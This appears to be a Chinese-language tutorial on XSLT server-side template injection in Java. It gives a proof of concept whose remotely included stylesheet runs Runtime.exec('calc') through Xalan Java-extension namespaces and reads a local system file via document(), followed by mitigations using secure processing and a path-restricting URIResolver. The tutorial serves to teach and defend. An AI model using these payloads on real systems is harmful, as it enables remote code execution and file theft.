XSLT模版注入漏洞
模版注入漏洞根因(SSTI,服务器端模版注入)
由于模版内容部分或全部被外部控制,导致在模版加载或渲染到页面上时触发模版注入漏洞,模版注入漏洞一般可以造成RCE、敏感信息泄露和XSS,当模版被加载会触发RCE,当模版被渲染到页面上会触发敏感信息泄露和XSS。
XSLT介绍
XSLT(Extensible Stylesheet Language Transformations,可扩展样式表语言转换)是一种用于将XML文档转换成HTML、文本、或其他XML文档的语言。它基于XPath和XSL,是W3C(万维网联盟)定义的一个标准。
主要特点:
-
声明性语言:XSLT使用声明式语法,允许开发者指定输入和输出的规则,而不是具体的操作步骤。
-
模板驱动:XSLT使用模板(template)来定义转换规则。每个模板可以包含匹配模式(match pattern)和模板规则(template rules),用于指定如何处理特定的XML节点。
-
基于XML:XSLT本身就是一种XML语言,这意味着XSLT样式表可以被XML解析器解析,并且可以很容易地与XML文档集成。
-
强大的模式匹配:XSLT使用XPath来选择XML文档中的节点,支持复杂的节点选择和路径表达式。
-
可扩展性:XSLT允许开发者通过扩展函数和变量来自定义转换过程。
-
广泛的支持:XSLT被广泛支持,几乎所有的XML处理库和工具都支持XSLT转换。
基本语法:
xsl:stylesheet
:根元素,定义了转换的基本信息,如版本号和命名空间。xsl:template
:定义转换模板,可以包含匹配模式和模板规则。xsl:for-each
:用于迭代XML文档中的节点集合。xsl:if
、xsl:choose
、xsl:when
:条件语句,用于基于条件选择不同的转换路径。xsl:value-of
:用于输出XML节点的文本内容。xsl:variable
:定义变量,用于存储和重用转换过程中的数据。xsl:param
:定义参数,允许在调用模板时传递参数。xsl:include
、xsl:import
:用于包含或导入其他XSLT样式表。
xsl:import
只能放在开头,如:
<xsl:import href="http://127.0.0.1:8070/remote.xsl"/>
<xsl:template match="/">
xxxxx
</xsl:template>
</xsl:stylesheet>
xsl:include
则可以放在任意位置,但是需要注意,当一个xslt模版中存在两个相同节点的template时,处于后面位置的会覆写前面位置的
XSLT模版注入漏洞关键点
XSLT模版注入漏洞的触发在于使用了用户提供的XSLT文档或是根据用户的输入去生成XSLT文档,而这些外部的输入会明确使用XSLT库中实现的一些危险功能。
危险功能如下:
- 外部引用:
xsl:include
、xsl:import
- 文档读取函数:
document
- 通过xmlns(声明命名空间)暴露java的危险类和方法
漏洞触发场景
以下场景都存在漏洞触发的风险:
- 未限制外部引用
- 未限制危险函数如document
- 未限制XSLT处理器,导致可以暴露java的危险类和方法
漏洞复现
java中实现XSLT的库有以下几种:
-
Xalan-Java:Apache Xalan项目开发并维护的XSLT处理器,支持XSLT 1.0和XPath 1.0标准。Xalan-Java可以通过命令行、小程序或servlet使用,也可以作为其他程序的模块 。
-
Oracle XML Developer’s Kit (XDK):Oracle提供的XML开发工具包,其中包括XSLT处理器,支持XSLT 1.0和2.0版本,以及XPath 1.0和2.0的草稿标准。该处理器使用SAX创建样式表对象,以实现更高效的转换。
-
JAXP (Java API for XML Processing):Java的XML处理标准API,提供了对XSLT的支持。JAXP允许使用
TransformerFactory
来创建Transformer
对象,进而执行XSLT转换。Xalan是JAXP的常用实现之一 。 -
jcabi-xml:一个简化XML解析和XPath遍历的开源库,它提供了一种便捷的方式来执行XSLT转换,使得在Java中处理XML变得更为简单 。
环境
jdk 17 + JAXP
引入依赖
JAXP为Java的XML处理标准API,无需单独引入依赖
poc
xml文件file.xml:
<?xml version="1.0" encoding="UTF-8"?>
<books>
<book>
<title>Java Basics</title>
<author>John Doe</author>
<year>2020</year>
</book>
<book>
<title>Advanced Java</title>
<author>Jane Smith</author>
<year>2021</year>
</book>
</books>
xsl样式模版file.xsl:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<head>
<title>Book List</title>
</head>
<body>
<h1>Book List</h1>
<table border="1">
<tr>
<th>Title</th>
<th>Author</th>
<th>Year</th>
</tr>
<xsl:for-each select="books/book">
<tr>
<td><xsl:value-of select="title"/></td>
<td><xsl:value-of select="author"/></td>
<td><xsl:value-of select="year"/></td>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
<xsl:include href="http://127.0.0.1:8070/remote.xsl"/>
</xsl:stylesheet>
远程实体remote.xsl:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<p>
<xsl:value-of select="system-property('xsl:vendor')"/>
</p>
<p>
<xsl:value-of select="system-property('xsl:vendor-url')"/>
</p>
<p>
<xsl:value-of select="system-property('xsl:version')"/>
</p>
<!-- <xsl:value-of select="books"/>-->
<!-- <xsl:copy-of select="document('http://127.0.0.1:8070/remote.xsl')"/>-->
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
<p></p>
<textarea><xsl:copy-of select="document('C:\Windows\System32\wpr.config.xml')"/></textarea>
</xsl:template>
</xsl:stylesheet>
具体的payload可以为分以下两种:
-
信息泄露
<xsl:value-of select="system-property('xsl:vendor')"/> <xsl:value-of select="system-property('xsl:vendor-url')"/> <xsl:value-of select="system-property('xsl:version')"/> <xsl:copy-of select="document('C:\Windows\System32\wpr.config.xml')"/>
-
远程RCE
<xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,'calc')"/> <xsl:variable name="processString" select="ob:toString($process)"/> <xsl:value-of select="$processString"/>
注意需要使用xmlns指定对应的命名空间:
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
修复方案
限制document读取路径
Transformer transformer = factory.newTransformer(xsltSource);
URIResolver resolver = (href, base) -> {
// 限制document加载保护目录下XSLT文档
String dir = "C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\xslt";
if (base.startsWith(dir)){
Source source = new StreamSource(new File(base));
return source;
} else{
System.out.println(href);
System.out.println(base);
System.out.println("document加载的xml文档不在保护目录下");
throw new TransformerException("document加载的xml文档不在保护目录下");
// return null;//return null仍然会加载文档
}
};
transformer.setURIResolver(resolver);
限制使用xsl:include
、xsl:import
引用外部实体
TransformerFactory factory = TransformerFactory.newInstance();
//避免加载外部实体和危险类调用
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
当引用外部实体就会报错,比如:由于 accessExternalStylesheet 属性设置的限制而不允许 ‘http’ 访问, 因此无法读取样式表目标 ‘remote.xsl’
避免暴露java的危险类和方法
TransformerFactory factory = TransformerFactory.newInstance();
//避免加载外部实体和危险类调用
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
当使用危险的类和方法时就会报错,比如:
java.lang.RuntimeException: 当安全处理功能设置为“真”时, 不允许使用扩展函数http://xml.apache.org/xalan/java/java.lang.Runtime:getRuntime
。
完整代码(包含修复)
public static void main(String[] args) {
try {
// 创建TransformerFactory实例
TransformerFactory factory = TransformerFactory.newInstance();
//避免加载外部实体和危险类调用
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
InputStream xsltStream = new FileInputStream("C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\xslt\\file.xsl");
Source xsltSource = new StreamSource(xsltStream);
Transformer transformer = factory.newTransformer(xsltSource);
URIResolver resolver = (href, base) -> {
// 限制document加载保护目录下XSLT文档
String dir = "C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\xslt";
if (base.startsWith(dir)){
Source source = new StreamSource(new File(base));
return source;
} else{
System.out.println(href);
System.out.println(base);
System.out.println("document加载的xml文档不在保护目录下");
throw new TransformerException("document加载的xml文档不在保护目录下");
// return null;//return null仍然会加载文档
}
};
transformer.setURIResolver(resolver);
// 加载XML源文档
InputStream xmlStream = new FileInputStream("C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\xslt\\file.xml");
Source xmlSource = new StreamSource(xmlStream);
// 设置转换结果的输出目标
FileOutputStream outputStream = new FileOutputStream("C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\xslt\\output.html");
Result outputTarget = new StreamResult(outputStream);
// 执行转换
transformer.transform(xmlSource, outputTarget);
// 关闭流
xmlStream.close();
outputStream.close();
xsltStream.close();
} catch (TransformerException | IOException e) {
e.printStackTrace();
}
}